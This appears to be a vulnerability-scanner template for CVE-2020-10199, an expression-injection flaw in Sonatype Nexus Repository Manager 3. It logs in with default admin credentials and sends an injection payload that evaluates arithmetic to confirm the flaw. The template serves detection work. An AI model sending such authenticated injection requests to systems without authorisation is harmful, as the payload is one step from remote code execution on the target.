id: CVE-2020-10199 info: name: Sonatype Nexus Repository Manager 3 - Remote Code Execution author: rootxharsh,iamnoooob,pdresearch severity: high description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection reference: | - https://twitter.com/iamnoooob/status/1246182773427240967 - https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype - https://nvd.nist.gov/vuln/detail/CVE-2020-10199 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2020-10199 cwe-id: CWE-917 epss-score: 0.973 cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: sonatype product: nexus tags: cve,cve2020,sonatype,nexus,rce,kev variables: username: admin password: admin123 http: - raw: - | POST /service/rapture/session HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 username={{base64(username)}}&password={{base64(password)}} - | POST /service/rest/beta/repositories/bower/group HTTP/1.1 Host: {{Hostname}} NX-ANTI-CSRF-TOKEN: 1 Cookie: NX-ANTI-CSRF-TOKEN=1 Content-Type: application/json {"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}} cookie-reuse: true host-redirects: true max-redirects: 2 matchers-condition: and matchers: - type: word part: body words: - "Member repository does not exist: A9999" - type: status status: - 400